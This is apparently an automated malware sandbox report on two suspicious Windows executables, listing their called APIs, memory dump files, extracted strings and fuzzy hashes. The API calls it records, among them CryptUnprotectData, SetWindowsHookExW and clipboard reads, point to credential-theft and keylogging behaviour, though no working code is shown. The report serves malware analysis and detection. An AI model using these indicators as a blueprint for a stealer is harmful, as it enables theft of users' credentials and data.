p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC)) at entry+, elemsize=, npages = -syncWithWU.WithCancel/dev/stderr/dev/stdout/index.html0x[0-9a-f]+30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256Bernoullis;BoundIm, xrefs: 001D3687
releasep: m=rowancap.flfruntime: gp=runtime: sp=self-preemptserifcap.flfsetupapi.dllshort bufferslscript.flfsmisome1.flfsmscript.flfsmshadow.flfspanSetSpinespreadMethodspreadmethodstandard.flfstarwars.flfstdDeviationstddeviationstraight.flfstraightphi;succcurl, xrefs: 001D3619

Memory Dump Source

Source File: 00000009.00000002.2341868412.0000000000191000.00000020.00000001.01000000.00000009.sdmp, Offset: 00190000, based on PE: true

Associated: 00000009.00000002.2341813427.0000000000190000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2343075199.0000000000452000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2343075199.000000000054A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2343868672.000000000072A000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2343911986.000000000072B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2343962222.0000000000732000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344001960.0000000000733000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344041000.0000000000734000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344159588.00000000007B6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344194278.00000000007B7000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344252692.00000000007B8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344305383.00000000007BA000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344355859.00000000007BB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344404313.00000000007BD000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344473579.00000000007D1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344473579.00000000007D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344473579.00000000007DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344473579.00000000007F9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344473579.00000000007FD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345281764.0000000000800000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000801000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000827000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000C69000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000CCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000D0A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000D49000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000DE6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000EC4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000F65000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000F72000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000F83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000FC2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000001009000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000001185000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.000000000119C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.00000000011B2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000001237000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_190000_oavvDqT.jbxd

Similarity

API ID:
String ID: m->p= max= min= next= null p->m= prev= span=% util%%%02x%s: %s%v: %s(...), i = , not , val .local.onion.reloc390625<-chanAElig;AacuteAcirc;AgraveAlpha;Amacr;AnswerAogon;ArabicAring;AtildeAugustBrahmiBreve;CANCELCarianCcedilCcirc;ChakmaColon;CommonCopticCr$ p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC)) at entry+, elemsize=, npages = -syncWithWU.WithCancel/dev/stderr/dev/stdout/index.html0x[0-9a-f]+30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256Bernoullis;BoundIm$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverabletimer data corruptiontoo many$releasep: m=rowancap.flfruntime: gp=runtime: sp=self-preemptserifcap.flfsetupapi.dllshort bufferslscript.flfsmisome1.flfsmscript.flfsmshadow.flfspanSetSpinespreadMethodspreadmethodstandard.flfstarwars.flfstdDeviationstddeviationstraight.flfstraightphi;succcurl
API String ID: 0-1268870645
Opcode ID: 028100c781ab9d62ae149bec656fbebbed36a8a68ca9b921989464528fde120a
Instruction ID: d7dd6616b1ef05eb2aa0b153114d7466d9a6a94976c936f119281542e154f5ac
Opcode Fuzzy Hash: 028100c781ab9d62ae149bec656fbebbed36a8a68ca9b921989464528fde120a
Instruction Fuzzy Hash: E431E6B450A7019FD300EF24C185B5ABBE0BF64704F05896EE8988B352DB39D984DF62

Analysis Process: usPaQ3D.exePID: 1552, Parent PID: 7236COMMON

Execution Graph

Execution Coverage:	15.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	72.7%
Total number of Nodes:	11
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFAAC513ACE Relevance: 1.9, APIs: 1, Instructions: 439nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 00007FFAAC513E24

Memory Dump Source

Source File: 0000000B.00000002.2998421748.00007FFAAC510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffaac510000_usPaQ3D.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: a37649ce9134b349d7435d0911f88880ef9f1b2423f346d97105ce8182698a90
Instruction ID: 61244ca62c5d20378dde5e8ac6e66231eef9530fcc452c59f729fe478275a409
Opcode Fuzzy Hash: a37649ce9134b349d7435d0911f88880ef9f1b2423f346d97105ce8182698a90
Instruction Fuzzy Hash: 8FC14A71A4CB494FE71DA738D8565FA7BE5EF96310F0441BEE08BC3193DD68A80A8381

Function 00007FFAAC7761B6 Relevance: 1.7, APIs: 1, Instructions: 249encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 00007FFAAC776350

Memory Dump Source

Source File: 0000000B.00000002.3008844314.00007FFAAC760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffaac760000_usPaQ3D.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 40befe12446bc3f584ede4d1364e15718e9b160cc4a39b768d68dcf8a1ae1b8c
Instruction ID: 6a3024581bef8679730bf89147f23a8cb6b41d3d471aed1fe1d3116e75076891
Opcode Fuzzy Hash: 40befe12446bc3f584ede4d1364e15718e9b160cc4a39b768d68dcf8a1ae1b8c
Instruction Fuzzy Hash: B0815171D18A1D8FEB98DF58D845BE8B7F1FB58310F1082AAD40EE7251CE74A9858F81

Function 00007FFAAC515308 Relevance: 1.6, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32 ref: 00007FFAAC5153D1

Memory Dump Source

Source File: 0000000B.00000002.2998421748.00007FFAAC510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffaac510000_usPaQ3D.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: f1ba126405689f4d524196344da52b326ab329b2b995909c6de6388edc030f59
Instruction ID: 3a9573aec9a97d7c50e6c764dd8f3c0bbb270a44da8a29e2260e06dd6e4c5315
Opcode Fuzzy Hash: f1ba126405689f4d524196344da52b326ab329b2b995909c6de6388edc030f59
Instruction Fuzzy Hash: 6D41F73091CA4D8FDB18EF68D84A6F9BBE1EB59311F10427EE00DC3292CE74A81687C1

Analysis Process: WZMQlGj.exePID: 1964, Parent PID: 7236COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.9%
Total number of Nodes:	62
Total number of Limit Nodes:	3

Executed Functions

Function 00118740 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 228
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00118764
GetCurrentThreadId.KERNEL32 ref: 0011876E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 001187C0
GetForegroundWindow.USER32 ref: 0011884A
ExitProcess.KERNEL32 ref: 00118A04

Strings

b/7, xrefs: 00118794

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: b/7
API String ID: 4063528623-2085417233
Opcode ID: df519c084992e72415a138ae8e7b6aac47ad72e0bfcf38e1e232f34993b3ba7c
Instruction ID: 1c27325b11095e458e120ff7d75d56635e07dd859192ba8704a3857d69625d5e
Opcode Fuzzy Hash: df519c084992e72415a138ae8e7b6aac47ad72e0bfcf38e1e232f34993b3ba7c
Instruction Fuzzy Hash: 80711B73A043158FC308EF78CC9576AFAD6ABC4320F0AC63DE5949B791EB3498458782

Function 001502D0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00153370,?,00000018,?,?,00000018,?,?,?), ref: 001502FE

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 001506A2 Relevance: 3.0, APIs: 2, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 001506A2
GetForegroundWindow.USER32 ref: 001506B1

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ab4a21a7ae58e6f1b41aa8359f87f8609e7fd7ca1e9532e80aa6397398ceeb26
Instruction ID: a193e348a1e0f5d58e1c9a6121e8355ad45cf5c69c0e8ae6925b5ac1d8d9b7b8
Opcode Fuzzy Hash: ab4a21a7ae58e6f1b41aa8359f87f8609e7fd7ca1e9532e80aa6397398ceeb26
Instruction Fuzzy Hash: 6AD09EF65A0A00CFD3059770BC9542E323A6B5520B388911DE90749A12EA35609A8B53

Function 0014E840 Relevance: 1.5, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,67660564,00118969,67660564), ref: 0014E850

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4f4af2f87324dcd2c7a6a5c948199161254ff0226c36433a216aabf9d58058a8
Instruction ID: 4733f718a69aea851e71187ab0a29cf9a5225c68ba788597874ab36a096e35cb
Opcode Fuzzy Hash: 4f4af2f87324dcd2c7a6a5c948199161254ff0226c36433a216aabf9d58058a8
Instruction Fuzzy Hash: 05C09231245120FBCA212B15FC09FCA7F68EF653A2F0204A1F4146B0B1C7A0AC82CAE9

Non-executed Functions

Function 00135E00 Relevance: 34.2, Strings: 27, Instructions: 430COMMON

Download Yara Rule

Strings

x~, xrefs: 001367EF
K4l:, xrefs: 00136430
{x, xrefs: 001364EB
tj, xrefs: 00136810
8>, xrefs: 0013689F
-tz, xrefs: 001364E0
|,X2, xrefs: 001365BE
4~|, xrefs: 00136314
)p*v, xrefs: 001364D5
_lYr, xrefs: 0013666E
o<KB, xrefs: 001365EA
;T&Z, xrefs: 0013662C
Rd"j, xrefs: 00136658
T8e>, xrefs: 001365DF
rp, xrefs: 00136051
.D)J, xrefs: 00136600
BpFv, xrefs: 00136679
&P%V, xrefs: 00136621
`g, xrefs: 001361C7
U\, xrefs: 001361BC
2{<u, xrefs: 00135F5A
(X6^, xrefs: 00136637
.H>N, xrefs: 0013660B
T`Zf, xrefs: 0013664D
7w, xrefs: 00135F65
!h#n, xrefs: 00136663
G0]6, xrefs: 001365C9

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: !h#n$&P%V$(X6^$)p*v$-tz$.D)J$.H>N$2{<u$4~|$7w$;T&Z$BpFv$G0]6$K4l:$Rd"j$T8e>$T`Zf$U\$_lYr$`g$o<KB${x$|,X2$8>$rp$tj$x~
API String ID: 0-2870231824
Opcode ID: df71505268c028ffb0bd486a89103a37c107dc5adc46b736a241bad54def65e1
Instruction ID: d1b1cb6b5a09f9872ba4951683c7887a0c58413787158c4ed95148788dce8147
Opcode Fuzzy Hash: df71505268c028ffb0bd486a89103a37c107dc5adc46b736a241bad54def65e1
Instruction Fuzzy Hash: 763209B160C7D48AD334CF14C442BDFBAF2EB92304F00892CC5E96B255D7B6564A8B9B

Function 001351E8 Relevance: 34.2, Strings: 27, Instructions: 426COMMON

Download Yara Rule

Strings

U\, xrefs: 0013559C
tj, xrefs: 00135BF0
G0]6, xrefs: 001359A9
|,X2, xrefs: 0013599E
x~, xrefs: 00135BCF
BpFv, xrefs: 00135A59
`g, xrefs: 001355A7
8>, xrefs: 00135C7F
.D)J, xrefs: 001359E0
-tz, xrefs: 001358C0
7w, xrefs: 00135345
4~|, xrefs: 001356F4
!h#n, xrefs: 00135A43
rp, xrefs: 00135431
Rd"j, xrefs: 00135A38
&P%V, xrefs: 00135A01
o<KB, xrefs: 001359CA
T8e>, xrefs: 001359BF
;T&Z, xrefs: 00135A0C
K4l:, xrefs: 00135810
2{<u, xrefs: 0013533A
)p*v, xrefs: 001358B5
(X6^, xrefs: 00135A17
{x, xrefs: 001358CB
T`Zf, xrefs: 00135A2D
.H>N, xrefs: 001359EB
_lYr, xrefs: 00135A4E

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: !h#n$&P%V$(X6^$)p*v$-tz$.D)J$.H>N$2{<u$4~|$7w$;T&Z$BpFv$G0]6$K4l:$Rd"j$T8e>$T`Zf$U\$_lYr$`g$o<KB${x$|,X2$8>$rp$tj$x~
API String ID: 0-2870231824
Opcode ID: a0af0a7630cd2eec4e1711b5862a8b1ce2ba0bfcefb51c4aab9cf2968e8ea6ed
Instruction ID: 87657918af814dd4029e0a3169d79b439474f4c6570c56c77e271cf28f5663d0
Opcode Fuzzy Hash: a0af0a7630cd2eec4e1711b5862a8b1ce2ba0bfcefb51c4aab9cf2968e8ea6ed
Instruction Fuzzy Hash: D73208B160C7D48AD334CF14C442BDFBAF2EB92304F40892CC5E96B215D7B6564A8B9B

Function 00133E44 Relevance: 19.7, APIs: 1, Strings: 10, Instructions: 429COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000), ref: 00133E6A

Strings

O-O/, xrefs: 00134303
<QrS, xrefs: 0013430B
]_, xrefs: 00134070
d)E+, xrefs: 001342FB
Y1\3, xrefs: 001342CB
UW, xrefs: 001340AE, 001340B2
H%Z', xrefs: 001342F3
P5Y7, xrefs: 001342D3
4Y>[, xrefs: 0013431B
A!K#, xrefs: 001342EB

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 4Y>[$<QrS$A!K#$H%Z'$O-O/$P5Y7$Y1\3$d)E+$UW$]_
API String ID: 237503144-2105826625
Opcode ID: 57a0a737e9c4c120b96a42da8e9d6a952026cc4181d9f28e849d16c6f5a0bf22
Instruction ID: 5b99a188e708467b7d1697c4aab12ac29ff4e580d2729fd42805618b3502fb9e
Opcode Fuzzy Hash: 57a0a737e9c4c120b96a42da8e9d6a952026cc4181d9f28e849d16c6f5a0bf22
Instruction Fuzzy Hash: ABD1B7B1608351DBC714CF94E88126BBBE1FF95354F048A2CF9E99B351E7789906CB82

Function 00125E42 Relevance: 16.8, APIs: 4, Strings: 5, Instructions: 1043COMMON

Download Yara Rule

Strings

GpFv, xrefs: 00126633
AtP, xrefs: 0012663A
LH, xrefs: 0012638A
LH, xrefs: 001265FD
[T, xrefs: 001263B4

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID: AtP$GpFv$LH$LH$[T
API String ID: 0-1191849916
Opcode ID: 2fbbf735bb530eeba8b7bb99e9e7a4ff800d0c9f25016731d3c4ba4a94836f36
Instruction ID: 4847d81430ea5f1302d7b6d5a15825539553fef35e1df4fb5d77b3f5c6f7a6ad
Opcode Fuzzy Hash: 2fbbf735bb530eeba8b7bb99e9e7a4ff800d0c9f25016731d3c4ba4a94836f36
Instruction Fuzzy Hash: B0721071600B11CFD728CF29D891762B7F2FF99310B29896CD8968BBA1D735E852CB40

Function 001261DF Relevance: 16.5, APIs: 4, Strings: 5, Instructions: 726COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?,?,?,?,?,00000000,?), ref: 001264C7

Strings

GpFv, xrefs: 00126633
AtP, xrefs: 0012663A
LH, xrefs: 0012638A
LH, xrefs: 001265FD
[T, xrefs: 001263B4

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: AtP$GpFv$LH$LH$[T
API String ID: 237503144-1191849916
Opcode ID: f2325aece7434cd683f6583b45e74705e981462d133aa7261191323c0b5f085d
Instruction ID: d33f57e45fbbe54f7360ff4941206f9dd55ad8d7972e23547028362a104f1d0c
Opcode Fuzzy Hash: f2325aece7434cd683f6583b45e74705e981462d133aa7261191323c0b5f085d
Instruction Fuzzy Hash: 4B320E71600B11CFD724CF29D891763B7E2FF9A314B2985ADD8968B7A1D739E812CB40

Function 00146590 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 001465D0
GetSystemMetrics.USER32 ref: 001465E0
DeleteObject.GDI32 ref: 00146623
SelectObject.GDI32 ref: 00146673
SelectObject.GDI32 ref: 001466CA
DeleteObject.GDI32 ref: 001466F8

Strings

, xrefs: 001466A1

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID:
API String ID: 3911056724-3916222277
Opcode ID: 3287739a94735707b40facfb5623a646e6cb5611af22b9f396a1380c0e253ee0
Instruction ID: 1594644bdbff2565bb4596b5fa345531d3fd464ceba7d886c81d7a8ba2f1e015
Opcode Fuzzy Hash: 3287739a94735707b40facfb5623a646e6cb5611af22b9f396a1380c0e253ee0
Instruction Fuzzy Hash: D3619EB0458784CFD360EF68D68978ABBF4BB84305F40892DE9D89B250D7B45488DF83

Function 001345C0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 217COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 00134698

Strings

}z, xrefs: 00134646
D6v4, xrefs: 00134655
=jh, xrefs: 00134622

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: =jh$D6v4$}z
API String ID: 237503144-2424248051
Opcode ID: 267f447cbf97403752dff65b0664ca23e9475c02e1acfe51ddbb59d0bcb832d7
Instruction ID: 8da7af4e2cc7da38169ad6a53350707f2a2a80ccc29314ff58beb50c3217d600
Opcode Fuzzy Hash: 267f447cbf97403752dff65b0664ca23e9475c02e1acfe51ddbb59d0bcb832d7
Instruction Fuzzy Hash: C271F0B150C3519FE7248F24D881B5FBBE5EBC1718F10892CF5A5AB2D1D7B1980ACB92

Function 001463E0 Relevance: 9.1, APIs: 6, Instructions: 130clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00146402
GetClipboardData.USER32 ref: 00146423
GlobalLock.KERNEL32 ref: 00146440
GlobalUnlock.KERNEL32 ref: 00146565
CloseClipboard.USER32 ref: 0014656D

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

